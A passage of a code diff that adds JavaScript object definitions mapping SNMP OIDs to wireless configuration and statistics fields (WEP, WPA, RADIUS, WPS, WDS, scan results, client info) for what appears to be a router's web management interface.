arBssWMMEnable=BSSTable.BssWMMEnable; + +var WEPTable = new Table("WEPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.23"); +WEPTable.WEPCurrentKey = new Column("WEPCurrentKey","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.1",66); +WEPTable.WEPEncryptionMode = new Column("WEPEncryptionMode","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2",2); +WEPTable.WEPPassPhrase = new Column("WEPPassPhrase","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.3",4); +var arWEPCurrentKey=WEPTable.WEPCurrentKey; +var arWEPEncryptionMode=WEPTable.WEPEncryptionMode; +var arWEPPassPhrase=WEPTable.WEPPassPhrase; + +var WEP64BitKeyTable = new Table("WEP64BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.24"); +WEP64BitKeyTable.WEP64BitKeyIndex = new Column("WEP64BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.1",2); +WEP64BitKeyTable.WEP64BitKeyValue = new Column("WEP64BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2",4); +WEP64BitKeyTable.WEP64BitKeyStatus = new Column("WEP64BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.3",2); +var arWEP64BitKeyIndex=WEP64BitKeyTable.WEP64BitKeyIndex; +var arWEP64BitKeyValue=WEP64BitKeyTable.WEP64BitKeyValue; +var arWEP64BitKeyStatus=WEP64BitKeyTable.WEP64BitKeyStatus; + +var WEP128BitKeyTable = new Table("WEP128BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.25"); +WEP128BitKeyTable.WEP128BitKeyIndex = new Column("WEP128BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.1",2); +WEP128BitKeyTable.WEP128BitKeyValue = new Column("WEP128BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2",4); +WEP128BitKeyTable.WEP128BitKeyStatus = new Column("WEP128BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.3",2); +var arWEP128BitKeyIndex=WEP128BitKeyTable.WEP128BitKeyIndex; +var arWEP128BitKeyValue=WEP128BitKeyTable.WEP128BitKeyValue; +var arWEP128BitKeyStatus=WEP128BitKeyTable.WEP128BitKeyStatus; + +var WPATable = new Table("WPATable", "1.3.6.1.4.1.4115.1.20.1.1.3.26"); +WPATable.WPAAlgorithm = new Column("WPAAlgorithm","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1",2); +WPATable.WPAPreSharedKey = new Column("WPAPreSharedKey","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2",4); +WPATable.WPAGroupRekeyInterval = new Column("WPAGroupRekeyInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.3",66); +WPATable.WPAReAuthInterval = new Column("WPAReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.4",66); +WPATable.WPAPreAuthEnable = new Column("WPAPreAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.5",2); +var arWPAAlgorithm=WPATable.WPAAlgorithm; +var arWPAPreSharedKey=WPATable.WPAPreSharedKey; +var arWPAGroupRekeyInterval=WPATable.WPAGroupRekeyInterval; +var arWPAReAuthInterval=WPATable.WPAReAuthInterval; +var arWPAPreAuthEnable=WPATable.WPAPreAuthEnable; + +var RadiusTable = new Table("RadiusTable", "1.3.6.1.4.1.4115.1.20.1.1.3.27"); +RadiusTable.RadiusAddressType = new Column("RadiusAddressType","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.1",2); +RadiusTable.RadiusAddress = new Column("RadiusAddress","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.2",4, 1); +RadiusTable.RadiusPort = new Column("RadiusPort","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.3",66); +RadiusTable.RadiusKey = new Column("RadiusKey","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.4",4); +RadiusTable.RadiusReAuthInterval = new Column("RadiusReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.5",66); +var arRadiusAddressType=RadiusTable.RadiusAddressType; +var arRadiusAddress=RadiusTable.RadiusAddress; +var arRadiusPort=RadiusTable.RadiusPort; +var arRadiusKey=RadiusTable.RadiusKey; +var arRadiusReAuthInterval=RadiusTable.RadiusReAuthInterval; + +var MACAccessTable = new Table("MACAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.3.28"); +MACAccessTable.MACAccessIndex = new Column("MACAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.1",2); +MACAccessTable.MACAccessAddr = new Column("MACAccessAddr","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.2",4, 1); +MACAccessTable.MACAccessStatus = new Column("MACAccessStatus","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.3",2); +MACAccessTable.MACAccessDeviceName = new Column("MACAccessDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.4",4); +var arMACAccessIndex=MACAccessTable.MACAccessIndex; +var arMACAccessAddr=MACAccessTable.MACAccessAddr; +var arMACAccessStatus=MACAccessTable.MACAccessStatus; +var arMACAccessDeviceName=MACAccessTable.MACAccessDeviceName; + +var WMMCfg = new Container("WMMCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.29"); +WMMCfg.WMMEnable= new Scalar("WMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.29.1",2); +WMMCfg.WMMNoAck= new Scalar("WMMNoAck","1.3.6.1.4.1.4115.1.20.1.1.3.29.2",2); +WMMCfg.WMMAPSD= new Scalar("WMMAPSD","1.3.6.1.4.1.4115.1.20.1.1.3.29.3",2); +var arWMMEnable=WMMCfg.WMMEnable; +var arWMMNoAck=WMMCfg.WMMNoAck; +var arWMMAPSD=WMMCfg.WMMAPSD; + +var WMM50Cfg = new Container("WMM50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.63"); +WMM50Cfg.WMM50Enable= new Scalar("WMM50Enable","1.3.6.1.4.1.4115.1.20.1.1.3.63.1",2); +WMM50Cfg.WMM50NoAck= new Scalar("WMM50NoAck","1.3.6.1.4.1.4115.1.20.1.1.3.63.2",2); +WMM50Cfg.WMM50APSD= new Scalar("WMM50APSD","1.3.6.1.4.1.4115.1.20.1.1.3.63.3",2); +var arWMM50Enable=WMM50Cfg.WMM50Enable; +var arWMM50NoAck=WMM50Cfg.WMM50NoAck; +var arWMM50APSD=WMM50Cfg.WMM50APSD; + +var WMMEDCAAPTable = new Table("WMMEDCAAPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.4"); +WMMEDCAAPTable.WMMEDCAAPIndex = new Column("WMMEDCAAPIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.1",2); +WMMEDCAAPTable.WMMEDCAAPCWmin = new Column("WMMEDCAAPCWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.2",66); +WMMEDCAAPTable.WMMEDCAAPCWmax = new Column("WMMEDCAAPCWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.3",66); +WMMEDCAAPTable.WMMEDCAAPAIFSN = new Column("WMMEDCAAPAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.4",66); +WMMEDCAAPTable.WMMEDCAAPTxOpBLimit = new Column("WMMEDCAAPTxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.5",66); +WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit = new Column("WMMEDCAAPTxOpAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.6",66); +WMMEDCAAPTable.WMMEDCAAPAdmitCont = new Column("WMMEDCAAPAdmitCont","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.7",2); +WMMEDCAAPTable.WMMEDCAAPDiscardOld = new Column("WMMEDCAAPDiscardOld","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.8",2); +var arWMMEDCAAPIndex=WMMEDCAAPTable.WMMEDCAAPIndex; +var arWMMEDCAAPCWmin=WMMEDCAAPTable.WMMEDCAAPCWmin; +var arWMMEDCAAPCWmax=WMMEDCAAPTable.WMMEDCAAPCWmax; +var arWMMEDCAAPAIFSN=WMMEDCAAPTable.WMMEDCAAPAIFSN; +var arWMMEDCAAPTxOpBLimit=WMMEDCAAPTable.WMMEDCAAPTxOpBLimit; +var arWMMEDCAAPTxOpAGLimit=WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit; +var arWMMEDCAAPAdmitCont=WMMEDCAAPTable.WMMEDCAAPAdmitCont; +var arWMMEDCAAPDiscardOld=WMMEDCAAPTable.WMMEDCAAPDiscardOld; + +var WMMEDCASTATable = new Table("WMMEDCASTATable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.5"); +WMMEDCASTATable.WMMEDCASTAIndex = new Column("WMMEDCASTAIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.1",2); +WMMEDCASTATable.WMMEDCASTACWmin = new Column("WMMEDCASTACWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.2",66); +WMMEDCASTATable.WMMEDCASTACWmax = new Column("WMMEDCASTACWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.3",66); +WMMEDCASTATable.WMMEDCASTAAIFSN = new Column("WMMEDCASTAAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.4",66); +WMMEDCASTATable.WMMEDCASTATxOpBLimit = new Column("WMMEDCASTATxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.5",66); +WMMEDCASTATable.WMMEDCASTATxAGLimit = new Column("WMMEDCASTATxAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.6",66); +var arWMMEDCASTAIndex=WMMEDCASTATable.WMMEDCASTAIndex; +var arWMMEDCASTACWmin=WMMEDCASTATable.WMMEDCASTACWmin; +var arWMMEDCASTACWmax=WMMEDCASTATable.WMMEDCASTACWmax; +var arWMMEDCASTAAIFSN=WMMEDCASTATable.WMMEDCASTAAIFSN; +var arWMMEDCASTATxOpBLimit=WMMEDCASTATable.WMMEDCASTATxOpBLimit; +var arWMMEDCASTATxAGLimit=WMMEDCASTATable.WMMEDCASTATxAGLimit; + +var WPSCfg = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.30"); +WPSCfg.WpsMode= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.30.1",2); +WPSCfg.WpsConfigState= new Scalar("WpsConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.30.2",2); +WPSCfg.WpsDevicePIN= new Scalar("WpsDevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.30.3",4); +WPSCfg.WpsDeviceName= new Scalar("WpsDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.30.4",4); +WPSCfg.WpsModelName= new Scalar("WpsModelName","1.3.6.1.4.1.4115.1.20.1.1.3.30.5",4); +WPSCfg.WpsMfg= new Scalar("WpsMfg","1.3.6.1.4.1.4115.1.20.1.1.3.30.6",4); +WPSCfg.WpsResultStatus= new Scalar("WpsResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.7",2); +WPSCfg.WpsStatus= new Scalar("WpsStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.8",2); +WPSCfg.WpsConfigTimeout= new Scalar("WpsConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.30.9",2); +WPSCfg.WpsSTAPin= new Scalar("WpsSTAPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.10",4); +WPSCfg.WpsPushButton= new Scalar("WpsPushButton","1.3.6.1.4.1.4115.1.20.1.1.3.30.11",2); +WPSCfg.WpsBoardNum= new Scalar("WpsBoardNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.12",4); +WPSCfg.WpsModelNum= new Scalar("WpsModelNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.13",4); +WPSCfg.WpsUUID= new Scalar("WpsUUID","1.3.6.1.4.1.4115.1.20.1.1.3.30.14",4); +var arWpsMode=WPSCfg.WpsMode; +var arWpsConfigState=WPSCfg.WpsConfigState; +var arWpsDevicePIN=WPSCfg.WpsDevicePIN; +var arWpsDeviceName=WPSCfg.WpsDeviceName; +var arWpsModelName=WPSCfg.WpsModelName; +var arWpsMfg=WPSCfg.WpsMfg; +var arWpsResultStatus=WPSCfg.WpsResultStatus; +var arWpsStatus=WPSCfg.WpsStatus; +var arWpsConfigTimeout=WPSCfg.WpsConfigTimeout; +var arWpsSTAPin=WPSCfg.WpsSTAPin; +var arWpsPushButton=WPSCfg.WpsPushButton; +var arWpsBoardNum=WPSCfg.WpsBoardNum; +var arWpsModelNum=WPSCfg.WpsModelNum; +var arWpsUUID=WPSCfg.WpsUUID; + +var WPSCfgEx = new Container("WPSCfgEx", "1.3.6.1.4.1.4115.1.20.1.1.3.30.15"); +WPSCfgEx.WpsMethodPin= new Scalar("WpsMethodPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.15.2",2); +var arWpsMethodPin=WPSCfgEx.WpsMethodPin; + + +var WPS50Cfg = new Container("WPS50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65"); +WPS50Cfg.Wps50Mode= new Scalar("Wps50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.65.1",2); +WPS50Cfg.Wps50ConfigState= new Scalar("Wps50ConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.65.2",2); +WPS50Cfg.Wps50DevicePIN= new Scalar("Wps50DevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.65.3",4,1); +WPS50Cfg.Wps50DeviceName= new Scalar("Wps50DeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.65.4",4); +WPS50Cfg.Wps50ModelName= new Scalar("Wps50ModelName","1.3.6.1.4.1.4115.1.20.1.1.3.65.5",4); +WPS50Cfg.Wps50Mfg= new Scalar("Wps50Mfg","1.3.6.1.4.1.4115.1.20.1.1.3.65.6",4); +WPS50Cfg.Wps50ResultStatus= new Scalar("Wps50ResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.65.7",2); +WPS50Cfg.Wps50Status= new Scalar("Wps50Status","1.3.6.1.4.1.4115.1.20.1.1.3.65.8",2); +WPS50Cfg.Wps50ConfigTimeout= new Scalar("Wps50ConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.65.9",2); +WPS50Cfg.Wps50STAPin= new Scalar("Wps50STAPin","1.3.6.1.4.1.4115.1.20.1.1.3.65.10",4,1); +WPS50Cfg.Wps50PushButton= new Scalar("Wps50PushButton","1.3.6.1.4.1.4115.1.20.1.1.3.65.11",2); +WPS50Cfg.Wps50UUID= new Scalar("Wps50UUID","1.3.6.1.4.1.4115.1.20.1.1.3.65.14",4,1); +var arWps50Mode=WPS50Cfg.Wps50Mode; +var arWps50ConfigState=WPS50Cfg.Wps50ConfigState; +var arWps50DevicePIN=WPS50Cfg.Wps50DevicePIN; +var arWps50DeviceName=WPS50Cfg.Wps50DeviceName; +var arWps50ModelName=WPS50Cfg.Wps50ModelName; +var arWps50Mfg=WPS50Cfg.Wps50Mfg; +var arWps50ResultStatus=WPS50Cfg.Wps50ResultStatus; +var arWps50Status=WPS50Cfg.Wps50Status; +var arWps50ConfigTimeout=WPS50Cfg.Wps50ConfigTimeout; +var arWps50STAPin=WPS50Cfg.Wps50STAPin; +var arWps50PushButton=WPS50Cfg.Wps50PushButton; +var arWps50UUID=WPS50Cfg.Wps50UUID; + +var WPS50CfgEx = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65.15"); +WPS50CfgEx.WpsMethodPin= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.65.15.2",2); +var arWps50MethodPin=WPS50CfgEx.WpsMethodPin; + + +var WDSCfg = new Container("WDSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.31"); +WDSCfg.WDSEnable= new Scalar("WDSEnable","1.3.6.1.4.1.4115.1.20.1.1.3.31.1",2); +WDSCfg.WDSTableFreeIdx= new Scalar("WDSTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.3.31.2",2); +var arWDSEnable=WDSCfg.WDSEnable; +var arWDSTableFreeIdx=WDSCfg.WDSTableFreeIdx; + +var WDSBridgeTable = new Table("WDSBridgeTable", "1.3.6.1.4.1.4115.1.20.1.1.3.31.3"); +WDSBridgeTable.WDSBridgeIndex = new Column("WDSBridgeIndex","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.1",2); +WDSBridgeTable.WDSBridgeAddr = new Column("WDSBridgeAddr","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.2",4,1); +WDSBridgeTable.WDSBridgeStatus = new Column("WDSBridgeStatus","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.3",2); +var arWDSBridgeIndex=WDSBridgeTable.WDSBridgeIndex; +var arWDSBridgeAddr=WDSBridgeTable.WDSBridgeAddr; +var arWDSBridgeStatus=WDSBridgeTable.WDSBridgeStatus; + +var WiFiScan = new Container("WiFiScan", "1.3.6.1.4.1.4115.1.20.1.1.3.39"); +WiFiScan.WiFiStartScan= new Scalar("WiFiStartScan","1.3.6.1.4.1.4115.1.20.1.1.3.39.1",2); +WiFiScan.WiFiScanResult= new Scalar("WiFiScanResult","1.3.6.1.4.1.4115.1.20.1.1.3.39.2",2); +var arWiFiStartScan=WiFiScan.WiFiStartScan; +var arWiFiScanResult=WiFiScan.WiFiScanResult; + +var WiFiScanResultTable = new Table("WiFiScanResultTable", "1.3.6.1.4.1.4115.1.20.1.1.3.39.3"); +WiFiScanResultTable.WiFiScanIndex = new Column("WiFiScanIndex","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.1",66); +WiFiScanResultTable.WiFiScanSSID = new Column("WiFiScanSSID","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.2",4,1); +WiFiScanResultTable.WiFiScanChannel = new Column("WiFiScanChannel","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.3",66); +WiFiScanResultTable.WiFiScanChannel2 = new Column("WiFiScanChannel2","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.4",66); +WiFiScanResultTable.WiFiScanRSSI = new Column("WiFiScanRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.5",2); +WiFiScanResultTable.WiFiScanNoise = new Column("WiFiScanNoise","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.6",2); +WiFiScanResultTable.WiFiScanMAC = new Column("WiFiScanMAC","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.7",4,1); +WiFiScanResultTable.WiFiScanMfg = new Column("WiFiScanMfg","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.8",4); +WiFiScanResultTable.WiFiScanSupportedRates = new Column("WiFiScanSupportedRates","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.9",4); +var arWiFiScanIndex=WiFiScanResultTable.WiFiScanIndex; +var arWiFiScanSSID=WiFiScanResultTable.WiFiScanSSID; +var arWiFiScanChannel=WiFiScanResultTable.WiFiScanChannel; +var arWiFiScanChannel2=WiFiScanResultTable.WiFiScanChannel2; +var arWiFiScanRSSI=WiFiScanResultTable.WiFiScanRSSI; +var arWiFiScanNoise=WiFiScanResultTable.WiFiScanNoise; +var arWiFiScanMAC=WiFiScanResultTable.WiFiScanMAC; +var arWiFiScanMfg=WiFiScanResultTable.WiFiScanMfg; +var arWiFiScanSupportedRates=WiFiScanResultTable.WiFiScanSupportedRates; + +var WiFiClientInfoTable = new Table("WiFiClientInfoTable", "1.3.6.1.4.1.4115.1.20.1.1.3.42"); +WiFiClientInfoTable.WiFiClientInfoIndex = new Column("WiFiClientInfoIndex","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.1",2); +WiFiClientInfoTable.WiFiClientInfoIPAddrType = new Column("WiFiClientInfoIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.2",2); +WiFiClientInfoTable.WiFiClientInfoIPAddr = new Column("WiFiClientInfoIPAddr","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.3",4,1); +WiFiClientInfoTable.WiFiClientInfoIPAddrTextual = new Column("WiFiClientInfoIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.4",4); +WiFiClientInfoTable.WiFiClientInfoHostName = new Column("WiFiClientInfoHostName","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.5",4); +WiFiClientInfoTable.WiFiClientInfoMAC = new Column("WiFiClientInfoMAC","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.6",4,1); +WiFiClientInfoTable.WiFiClientInfoMACMfg = new Column("WiFiClientInfoMACMfg","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.7",4); +WiFiClientInfoTable.WiFiClientInfoStatus = new Column("WiFiClientInfoStatus","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.8",2); +WiFiClientInfoTable.WiFiClientInfoFirstSeen = new Column("WiFiClientInfoFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.9",4,1); +WiFiClientInfoTable.WiFiClientInfoLastSeen = new Column("WiFiClientInfoLastSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.10",4,1); +WiFiClientInfoTable.WiFiClientInfoIdleTime = new Column("WiFiClientInfoIdleTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.11",2); +WiFiClientInfoTable.WiFiClientInfoInNetworkTime = new Column("WiFiClientInfoInNetworkTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.12",2); +WiFiClientInfoTable.WiFiClientInfoState = new Column("WiFiClientInfoState","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.13",4); +WiFiClientInfoTable.WiFiClientInfoFlags = new Column("WiFiClientInfoFlags","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.14",4,1); +WiFiClientInfoTable.WiFiClientInfoTxPkts = new Column("WiFiClientInfoTxPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.15",2); +WiFiClientInfoTable.WiFiClientInfoTxFailures = new Column("WiFiClientInfoTxFailures","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.16",2); +WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts = new Column("WiFiClientInfoRxUnicastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.17",2); +WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts = new Column("WiFiClientInfoRxMulticastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.18",2); +WiFiClientInfoTable.WiFiClientInfoLastTxPktRate = new Column("WiFiClientInfoLastTxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.19",2); +WiFiClientInfoTable.WiFiClientInfoLastRxPktRate = new Column("WiFiClientInfoLastRxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.20",2); +WiFiClientInfoTable.WiFiClientInfoRateSet = new Column("WiFiClientInfoRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.21",4,1); +WiFiClientInfoTable.WiFiClientInfoRSSI = new Column("WiFiClientInfoRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.22",2); +var arWiFiClientInfoIndex=WiFiClientInfoTable.WiFiClientInfoIndex; +var arWiFiClientInfoIPAddrType=WiFiClientInfoTable.WiFiClientInfoIPAddrType; +var arWiFiClientInfoIPAddr=WiFiClientInfoTable.WiFiClientInfoIPAddr; +var arWiFiClientInfoIPAddrTextual=WiFiClientInfoTable.WiFiClientInfoIPAddrTextual; +var arWiFiClientInfoHostName=WiFiClientInfoTable.WiFiClientInfoHostName; +var arWiFiClientInfoMAC=WiFiClientInfoTable.WiFiClientInfoMAC; +var arWiFiClientInfoMACMfg=WiFiClientInfoTable.WiFiClientInfoMACMfg; +var arWiFiClientInfoStatus=WiFiClientInfoTable.WiFiClientInfoStatus; +var arWiFiClientInfoFirstSeen=WiFiClientInfoTable.WiFiClientInfoFirstSeen; +var arWiFiClientInfoLastSeen=WiFiClientInfoTable.WiFiClientInfoLastSeen; +var arWiFiClientInfoIdleTime=WiFiClientInfoTable.WiFiClientInfoIdleTime; +var arWiFiClientInfoInNetworkTime=WiFiClientInfoTable.WiFiClientInfoInNetworkTime; +var arWiFiClientInfoState=WiFiClientInfoTable.WiFiClientInfoState; +var arWiFiClientInfoFlags=WiFiClientInfoTable.WiFiClientInfoFlags; +var arWiFiClientInfoTxPkts=WiFiClientInfoTable.WiFiClientInfoTxPkts; +var arWiFiClientInfoTxFailures=WiFiClientInfoTable.WiFiClientInfoTxFailures; +var arWiFiClientInfoRxUnicastPkts=WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts; +var arWiFiClientInfoRxMulticastPkts=WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts; +var arWiFiClientInfoLastTxPktRate=WiFiClientInfoTable.WiFiClientInfoLastTxPktRate; +var arWiFiClientInfoLastRxPktRate=WiFiClientInfoTable.WiFiClientInfoLastRxPktRate; +var arWiFiClientInfoRateSet=WiFiClientInfoTable.WiFiClientInfoRateSet; +var arWiFiClientInfoRSSI=WiFiClientInfoTable.WiFiClientInfoRSSI; + +var AdvanceWirelessStats = new Container("AdvanceWirelessStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46"); +AdvanceWirelessStats.ResetCount= new Scalar("ResetCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.5",2); +AdvanceWirelessStats.TBTTCount= new Scalar("TBTTCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.6",2); +AdvanceWirelessStats.PMQOverflowCount= new Scalar("PMQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.7",2); +AdvanceWirelessStats.PRTimeoutDropCount= new Scalar("PRTimeoutDropCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.8",2); +AdvanceWirelessStats.PSMWatchdogCount= new Scalar("PSMWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.9",2); +AdvanceWirelessStats.PHYWatchdogCount= new Scalar("PHYWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.10",2); +AdvanceWirelessStats.PRQEntriesHandled= new Scalar("PRQEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.11",2); +AdvanceWirelessStats.PRQUndirectedEntriesHandled= new Scalar("PRQUndirectedEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.12",2); +AdvanceWirelessStats.PRQBadEntriesHandled= new Scalar("PRQBadEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.13",2); +AdvanceWirelessStats.ATIMSuppressCount= new Scalar("ATIMSuppressCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.14",2); +AdvanceWirelessStats.BCNTemplateNotReadyCount= new Scalar("BCNTemplateNotReadyCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.15",2); +AdvanceWirelessStats.BCNTemplateNotReadyDoneCount= new Scalar("BCNTemplateNotReadyDoneCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.16",2); +AdvanceWirelessStats.LateTBTTDPCCount= new Scalar("LateTBTTDPCCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.17",2); +AdvanceWirelessStats.PktEngineUnicastRxFramesCount= new Scalar("PktEngineUnicastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.18",2); +AdvanceWirelessStats.PktEngineMulticastRxFramesCount= new Scalar("PktEngineMulticastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.19",2); +AdvanceWirelessStats.RadioDisablesCount= new Scalar("RadioDisablesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.20",2); +AdvanceWirelessStats.BPHYGlitchCount= new Scalar("BPHYGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.21",2); +AdvanceWirelessStats.SGITransmitCount= new Scalar("SGITransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.22",2); +AdvanceWirelessStats.SGIReceiveCount= new Scalar("SGIReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.23",2); +AdvanceWirelessStats.STBCTransmitCount= new Scalar("STBCTransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.24",2); +AdvanceWirelessStats.STBCReceiveCount= new Scalar("STBCReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.25",2); +var arResetCount=AdvanceWirelessStats.ResetCount; +var arTBTTCount=AdvanceWirelessStats.TBTTCount; +var arPMQOverflowCount=AdvanceWirelessStats.PMQOverflowCount; +var arPRTimeoutDropCount=AdvanceWirelessStats.PRTimeoutDropCount; +var arPSMWatchdogCount=AdvanceWirelessStats.PSMWatchdogCount; +var arPHYWatchdogCount=AdvanceWirelessStats.PHYWatchdogCount; +var arPRQEntriesHandled=AdvanceWirelessStats.PRQEntriesHandled; +var arPRQUndirectedEntriesHandled=AdvanceWirelessStats.PRQUndirectedEntriesHandled; +var arPRQBadEntriesHandled=AdvanceWirelessStats.PRQBadEntriesHandled; +var arATIMSuppressCount=AdvanceWirelessStats.ATIMSuppressCount; +var arBCNTemplateNotReadyCount=AdvanceWirelessStats.BCNTemplateNotReadyCount; +var arBCNTemplateNotReadyDoneCount=AdvanceWirelessStats.BCNTemplateNotReadyDoneCount; +var arLateTBTTDPCCount=AdvanceWirelessStats.LateTBTTDPCCount; +var arPktEngineUnicastRxFramesCount=AdvanceWirelessStats.PktEngineUnicastRxFramesCount; +var arPktEngineMulticastRxFramesCount=AdvanceWirelessStats.PktEngineMulticastRxFramesCount; +var arRadioDisablesCount=AdvanceWirelessStats.RadioDisablesCount; +var arBPHYGlitchCount=AdvanceWirelessStats.BPHYGlitchCount; +var arSGITransmitCount=AdvanceWirelessStats.SGITransmitCount; +var 